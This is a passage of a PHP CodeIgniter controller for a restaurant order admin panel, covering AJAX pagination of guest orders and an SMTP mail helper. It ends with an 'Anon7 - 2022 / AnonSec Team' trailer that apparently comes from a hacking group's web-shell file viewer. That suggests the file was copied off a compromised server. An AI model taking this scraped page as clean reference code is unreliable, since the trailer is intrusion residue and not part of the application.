    $data['OrderList'] = $this->menumanagement_model->get_order_list(array('start'=>$offset,'limit'=>$perpage),$action,$action2,$action3 ='C');
    $data['title']="Cuisine";  
    $data['page']="order_list";  
    $data['perPageCount'] = $page; 
    /*** Remember what was the last page start ***/
    if ($this->input->post('pagination') != '') {
      $myPage = $this->input->post('page');
      $myAction = $this->input->post('action');
      $myPerPage = $this->input->post('per_page');
      $myAction2 = $this->input->post('action2');
      $paginationArray = array('page' => $myPage, 'action' => $myAction, 'per_page' => $myPerPage, 'action2' => $myAction2, 'page_name' => $data['page'], 'pagination' => $this->input->post('pagination'));
      if ($this->session->userdata('paginationArray')) {
        $this->session->unset_userdata('paginationArray');
      }
      $this->session->set_userdata('paginationArray', $paginationArray);
    }
    /*** Remember what was the last page end ***/
    $this->load->view('superadmin/order_list_ajax', $data, false);
  }

function guestorders()
{
    $SearchBy = '';
    $PerPage = $this->input->post('Per_Page');
    if(!$PerPage){
      $PerPage = $this->perPage;
    }else{
      $PerPage = $PerPage;
    }
    //total rows count
    $totalRec = count($this->menumanagement_model->get_order_list($params = array(), $action = '', $action2 =0, $action3 ='G'));
    //pagination configuration
    $config['target']      = '#postList';
    $config['base_url']    = base_url().'restaurantorders/ajaxPaginationDataGuestOrder/'.$SearchBy;
    $config['total_rows']  = $totalRec;
    $config['per_page']    = $PerPage;
    $this->ajax_pagination->initialize($config);
    //get the posts data
    $data['OrderList'] = $this->menumanagement_model->get_order_list(array('limit'=>$PerPage), $action = '', $action2 =0, $action3 ='G');
  
    $query['RestaurantList'] = $this ->menumanagement_model -> RestaurantList();
    $data['title']="Order List";  
    $query['SiteTab'] ='order_list';
    $data['page']="order_list";  
    $this->load->view('superadmin/header',$data);
    ///$this->load->view('superadmin/main-sidebar');
    $this->load->view('superadmin/order_list',$query);
    $this->load->view('superadmin/footer');
}


function ajaxPaginationDataGuestOrder(){
    $page = $this->input->post('page');
    if(!$page){
        $offset = 0;
    }else{
        $offset = $page;
    }


    $action = $this->input->post('action');
    /*if(!$action){
        $action = '';
    }else{
        $action = $action;
    }*/


    $perpage = $this->input->post('per_page');
    if(!$perpage){
        $perpage = $this->perPage;
    }else{
        $perpage = $perpage;
    }

    $action2 = $this->input->post('action2');
    if(!$action2){
        $action2 = '0';
    }else{
        $action2 = $action2;
    }
    
    //total rows count
    $totalRec = count($this->menumanagement_model->get_order_list($params = array(), $action,$action2,$action3 ='G'));
    
    //pagination configuration
    $config['target']      = '#postList';
    $config['base_url']    = base_url().'restaurantorders/ajaxPaginationDataGuestOrder';
    $config['total_rows']  = $totalRec;
    $config['per_page']    = $perpage;
    $config['action']      = $action;
    $config['action2']     = $action2;
    $this->ajax_pagination->initialize($config);
    
    //get the posts data
    $data['OrderList'] = $this->menumanagement_model->get_order_list(array('start'=>$offset,'limit'=>$perpage),$action,$action2,$action3 ='G');
    $data['title']="Cuisine";  
    $data['page']="order_list";  
    $data['perPageCount'] = $page; 
    /*** Remember what was the last page start ***/
    if ($this->input->post('pagination') != '') {
      $myPage = $this->input->post('page');
      $myAction = $this->input->post('action');
      $myPerPage = $this->input->post('per_page');
      $myAction2 = $this->input->post('action2');
      $paginationArray = array('page' => $myPage, 'action' => $myAction, 'per_page' => $myPerPage, 'action2' => $myAction2, 'page_name' => $data['page'], 'pagination' => $this->input->post('pagination'));
      if ($this->session->userdata('paginationArray')) {
        $this->session->unset_userdata('paginationArray');
      }
      $this->session->set_userdata('paginationArray', $paginationArray);
    }
    /*** Remember what was the last page end ***/
    $this->load->view('superadmin/order_list_ajax', $data, false);
  }

  function send_my_mail($mail_To,$mail_subject,$mail_Body,$mail_CC="")
  {
      $mail_From = SITENAME;

      $mail = new PHPMailer();

      //Your SMTP servers details

      $mail->IsSMTP(); // set mailer to use SMTP
      $mail->Host = SMTP_HOST; // specify main and backup server or localhost
      $mail->SMTPAuth = true; // turn on SMTP authentication
      $mail->Username = SMTP_USER; // SMTP username
      $mail->Password = SMTP_PASSWORD; // SMTP password It should be same as that of the SMTP user

      //$mail->PluginDir = "/home/phpaucti/public_html/website_development/coding/includes/";
      $mail->From = $mail->Username; //Default From email same as smtp user
      $mail->FromName = $mail_From;
      $emailArr = explode(',',$mail_To);
      foreach($emailArr AS $emailVal) {
      $mail->AddAddress($emailVal, ""); //Email address where you wish to receive/collect those emails.
      }

      /*$emailCCArr = explode(',',$mail_CC);
      foreach($emailCCArr AS $emailCCVal) {
      $mail->AddCC($emailCCVal, ""); //Email address where you wish to receive/collect those emails.
      }*/


      $mail->WordWrap = 100; // set word wrap to 50 characters
      $mail->IsHTML(true); // set email format to HTML
      $mail->Subject = $mail_subject;
      $message = $mail_Body;
      $mail->Body = $message;

      if(!$mail->Send())
      {
      /*echo "Message could not be sent. <p>";
      echo "Mailer Error: " . $mail->ErrorInfo;
      exit;*/
      }
      else
      {
      //echo 'ok';
      }

  }


}

Anon7 - 2022
AnonSec Team